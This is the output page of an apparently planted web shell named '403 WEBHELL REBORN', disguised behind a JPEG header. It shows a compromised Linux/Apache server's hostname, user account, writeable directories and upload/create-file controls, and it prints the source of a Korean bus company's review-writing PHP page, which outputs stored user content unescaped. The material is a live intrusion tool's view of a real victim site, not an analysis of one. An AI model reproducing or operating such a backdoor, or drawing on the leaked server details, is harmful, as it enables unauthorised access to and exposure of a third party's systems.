ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/page/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/page/review-write_test.html
<?php
include $_SERVER['DOCUMENT_ROOT'].'/include/base.php';
include $_SERVER['DOCUMENT_ROOT'].'/process/process_common.php';

if(!isset($_SESSION['web_member'])){
    //로그인 페이지 이동
    //$_SERVER['REQUEST_URI']; ///page/inquiry-write.html
    $return_url = urlencode($_SERVER['REQUEST_URI']);
    echo "<script>location.href='/page/login.html?returlUrl={$return_url}'</script>";
    exit;
}

$mode ="input";

if(isset($_GET['wr_id'])){
    $wr_id = (int) $_GET['wr_id'];
    if($wr_id > 0){

        //자신의 글인지 확인한다.
        $review_data = get_review_contents($wr_id);

        if($review_data['mb_id'] == $_SESSION['web_member']['mb_id']){
            $mode = "update";
        }
    }
}

$member_info = $_SESSION['web_member'];
//공지사항 데이터
/*$review_data = get_review_data();

$total_page = $review_data['total_page'];
$page = $review_data['page'];
$list = $review_data['list'];
$review_contents_data = $review_data['data'];
$total_cnt = $review_data['total_cnt'];

$notice_title = "";

if($_GET['notice_title']){
	$notice_title = $_GET['notice_title'];
}*/
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <?php
    $page_title = "탑승후기";
    include $_SERVER['DOCUMENT_ROOT'].'/include/meta_data.php';
    ?>
    <style>
        .notice-read-wrap{height:500px}
        .table_wrap{clear: both;
            float: left;
            width: 100%;
            box-shadow: 0 0 10px rgba(0,0,0,0.2);
            border-radius: 5px;
            margin-bottom:58px;
        }

        .table_wrap table{
            float: none;
            width: 96%;
            margin: 30px auto;
            padding: 0;
            border-radius: unset;
            box-shadow: none;
            background: #fff;
            border-spacing: 1px;}

        .table_wrap table th{
            padding: 10px 0;
            text-align: left;
            padding-left: 10px;
            border-right: 1px solid #ccc;}


        .table_wrap table td {
            padding-left: 10px;
        }

        .table_wrap table td input, .table_wrap table td textarea{
            border:1px solid #ccc;
            width:98%;
            padding:3px 5px;
            border-radius:3px
        }

        .table_wrap table td textarea{
            height:300px
        }

        .table_wrap table .tr_empty_area {
            height: 26px;
        }

        .table_wrap table .tr_empty_area .tr_empty_line {
            width: 100%;
            background: #ccc;
            height: 1px;
            margin-top: 12px;
        }

    </style>
    <link href="https://cdn.jsdelivr.net/npm/summernote@0.8.18/dist/summernote-lite.min.css" rel="stylesheet">
    <script src="https://cdn.jsdelivr.net/npm/summernote@0.8.18/dist/summernote-lite.min.js"></script>
</head>
<body>
<?php
include $_SERVER['DOCUMENT_ROOT'].'/include/header.php';
?>
<!--서브페이지 배너-->
<div class="sub-banner">
    <img class="pc-ban" src="/img/sub/sub-ban-notice.jpg">
    <img class="mo-ban" src="/img/sub/sub-ban-mo-notice.jpg">
</div>

<!--페이지 경로 안내-->
<div class="sub-page">
    <p class="inner">홈 > 고객센터 > <b>탑승후기</b></p>
</div>

<!--공지사항-->
<section id="notice-section" class="section-padding" data-aos="fade-up" data-aos-duration="2000">
    <div class="inner">
        <h1 class="sub-main-tit">탑승후기<div class="tit-line"></div></h1>

        <div class="notice-read-wrap">
            <form method="post" action="/process/review_update.php">
                <input type="hidden" name="mode" value="<?=$mode?>" />
                <?php
                if($mode == 'update'){
                    ?>
                    <input type="hidden" name="wr_id" value="<?=$wr_id?>" />
                    <?php
                }
                ?>
                <div class="table_wrap">
                    <table>
                        <tr>
                            <th>제목</th>
                            <td><input type="text" name="title" value="<?=(($mode == 'update') ? $review_data['wr_subject'] : '')?>"/></td>
                        </tr>
                        <tr>
                            <td class="tr_empty_area" colspan="2">
                                <div class="tr_empty_line"></div>
                            </td>
                        </tr>
                        <tr>
                            <th>작성자</th>
                            <td><?=$member_info['mb_name']?></td>
                        </tr>
                        <tr>
                            <td class="tr_empty_area" colspan="2">
                                <div class="tr_empty_line"></div>
                            </td>
                        </tr>
                        <tr>
                            <th style="vertical-align: middle">내용</th>
                            <td>
                                <textarea id="contents" name="contents"><?=(($mode == 'update') ? $review_data['wr_content'] : '')?></textarea>
                                <script>
                                    $('#contents').summernote({
                                        placeholder: 'Hello stand alone ui',
                                        tabsize: 2,
                                        height: 320,
                                        toolbar: [
                                            ['style', ['style']],
                                            ['font', ['bold', 'underline', 'clear']],
                                            ['color', ['color']],
                                            ['para', ['ul', 'ol', 'paragraph']],
                                            ['table', ['table']],
                                            ['insert', ['link', 'picture', 'video']],
                                            ['view', ['fullscreen', 'codeview', 'help']]
                                        ]
                                    });
                                </script>

                            </td>
                        </tr>
                    </table>
                </div>

                <div class="notice-read-button">
                    <input type="submit"  class="notice-btn delete" value="저장" />
                    <a href="/page/inquiry-list.html">
                        <button class="notice-btn toList">목록</button>
                    </a>

                    <!--                    <a href="/page/inquiry-list.html">-->
                    <!--                        <button class="notice-btn toList">목록</button>-->
                    <!--                    </a>-->

                    <!--                    <button class="notice-btn modify">수정</button>-->

                    <!--                    <button class="notice-btn delete">삭제</button>-->

                </div>


            </form>
        </div>



    </div>
</section>
<?php
include $_SERVER['DOCUMENT_ROOT'].'/include/footer.php';
?>
</body>
</html>

Anon7 - 2021